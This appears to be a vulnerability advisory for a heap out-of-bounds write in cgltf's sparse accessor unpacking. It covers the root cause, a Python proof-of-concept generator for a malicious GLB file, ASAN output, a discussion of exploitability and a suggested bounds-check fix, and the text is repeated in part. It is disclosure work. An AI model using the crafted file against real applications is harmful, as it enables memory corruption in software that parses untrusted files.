Summary
cgltf_accessor_unpack_floats() does not validate that sparse accessor indices fall within the bounds of the output buffer. An attacker-crafted glTF/GLB file with a sparse index exceeding accessor->count causes an out-of-bounds write on the caller-provided heap buffer.
This issue is independent of CVE-2026-32845 (integer overflow in cgltf_validate() sparse validation path). The bug occurs in the data-processing path itself and can be triggered even when cgltf_validate() is not called.
Affected Versions
- Confirmed on cgltf v1.15 (commit
85cd623)
- Other versions containing the same sparse accessor unpacking logic are likely affected
Root Cause
In cgltf_accessor_unpack_floats(), the sparse accessor second pass reads an index from attacker-controlled data and uses it directly as an output offset without bounds checking:
for (cgltf_size reader_index = 0; reader_index < sparse->count;
reader_index++, index_data += index_stride, reader_head += accessor->stride)
{
size_t writer_index = cgltf_component_read_index(index_data, sparse->indices_component_type);
float* writer_head = out + writer_index * floats_per_element;
// No check: writer_index >= element_count → OOB write
if (!cgltf_element_read_float(reader_head, accessor->type,
accessor->component_type, accessor->normalized,
writer_head, floats_per_element))
{
return 0;
}
}
The caller typically allocates out based on accessor->count * num_components. If a sparse index value is greater than or equal to accessor->count, the write targets memory beyond the allocated buffer.
Impact
- Bug class: CWE-787 (Out-of-bounds Write)
- Primitive: out-of-bounds heap write with attacker-influenced offset and value
- Severity: High (may become critical depending on application context)
- Attack vector: applications that process untrusted glTF/GLB files and call
cgltf_accessor_unpack_floats()
Why cgltf_validate() does not mitigate this
cgltf_validate() is optional and not always used by downstream applications.
- CVE-2026-32845 demonstrates that validation logic may be bypassed under certain conditions.
- The write operation itself lacks a bounds check and should enforce correctness independently.
Proof of Concept
A minimal GLB file with a sparse accessor containing an out-of-range index triggers the issue.
Example generator:
import json, struct
gltf = {
"asset": {"version": "2.0"},
"buffers": [{"byteLength": 32}],
"bufferViews": [
{"buffer": 0, "byteOffset": 0, "byteLength": 4},
{"buffer": 0, "byteOffset": 4, "byteLength": 4},
{"buffer": 0, "byteOffset": 8, "byteLength": 16},
],
"accessors": [{
"bufferView": 2, "byteOffset": 0,
"componentType": 5126, "count": 4, "type": "SCALAR",
"sparse": {
"count": 1,
"indices": {"bufferView": 0, "byteOffset": 0, "componentType": 5125},
"values": {"bufferView": 1, "byteOffset": 0}
}
}]
}
json_bytes = json.dumps(gltf).encode()
while len(json_bytes) % 4: json_bytes += b' '
bin_data = struct.pack('<I', 100) # OOB index (count = 4)
bin_data += struct.pack('<f', 41414141.0)
bin_data += b'\x00' * 16
bin_data += b'\x00' * (32 - len(bin_data))
json_chunk = struct.pack('<II', len(json_bytes), 0x4E4F534A) + json_bytes
bin_chunk = struct.pack('<II', len(bin_data), 0x004E4942) + bin_data
header = struct.pack('<III', 0x46546C67, 2, 12 + len(json_chunk) + len(bin_chunk))
with open('poc.glb', 'wb') as f:
f.write(header + json_chunk + bin_chunk)
Test program:
cgltf_size n = cgltf_accessor_unpack_floats(acc, NULL, 0);
float* buf = malloc(n * sizeof(float));
cgltf_accessor_unpack_floats(acc, buf, n); // OOB write
ASAN output (Ubuntu 22.04, x86-64):
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000001c0
WRITE of size 4 at 0x5020000001c0 thread T0
#0 cgltf_element_read_float cgltf.h:2330
#1 cgltf_accessor_unpack_floats cgltf.h:2481
0x5020000001c0 is located 384 bytes to the right of 16-byte region [0x502000000030,0x502000000040)
SUMMARY: AddressSanitizer: heap-buffer-overflow cgltf.h:2330 in cgltf_element_read_float
Exploitability Considerations
The vulnerability provides an out-of-bounds heap write relative to the output buffer. In application-specific scenarios where heap objects are allocated adjacently (e.g., buffers followed by structures containing function pointers), this may lead to memory corruption or control-flow hijacking.
Practical exploitability depends on the surrounding application's memory layout and allocation patterns.
Suggested Fix
Add a bounds check before using writer_index:
size_t writer_index = cgltf_component_read_index(index_data, sparse->indices_component_type);
if (writer_index >= element_count)
{
return 0;
}
float* writer_head = out + writer_index * floats_per_element;
A similar check should also be considered in cgltf_accessor_unpack_indices().
Related
Thank you for reading!
Summary
cgltf_accessor_unpack_floats()does not validate that sparse accessor indices fall within the bounds of the output buffer. An attacker-crafted glTF/GLB file with a sparse index exceedingaccessor->countcauses an out-of-bounds write on the caller-provided heap buffer.This issue is independent of CVE-2026-32845 (integer overflow in
cgltf_validate()sparse validation path). The bug occurs in the data-processing path itself and can be triggered even whencgltf_validate()is not called.Affected Versions
85cd623)Root Cause
In
cgltf_accessor_unpack_floats(), the sparse accessor second pass reads an index from attacker-controlled data and uses it directly as an output offset without bounds checking:The caller typically allocates
outbased onaccessor->count * num_components. If a sparse index value is greater than or equal toaccessor->count, the write targets memory beyond the allocated buffer.Impact
cgltf_accessor_unpack_floats()Why
cgltf_validate()does not mitigate thiscgltf_validate()is optional and not always used by downstream applications.Proof of Concept
A minimal GLB file with a sparse accessor containing an out-of-range index triggers the issue.
Example generator:
Test program:
ASAN output (Ubuntu 22.04, x86-64):
Exploitability Considerations
The vulnerability provides an out-of-bounds heap write relative to the output buffer. In application-specific scenarios where heap objects are allocated adjacently (e.g., buffers followed by structures containing function pointers), this may lead to memory corruption or control-flow hijacking.
Practical exploitability depends on the surrounding application's memory layout and allocation patterns.
Suggested Fix
Add a bounds check before using
writer_index:A similar check should also be considered in
cgltf_accessor_unpack_indices().Related
cgltf_validate()sparse path (different bug, OOB read)indexparameter to avoid crashes #110 — bounds check request forcgltf_accessor_read_floatindex parameter (open since 2020)Thank you for reading!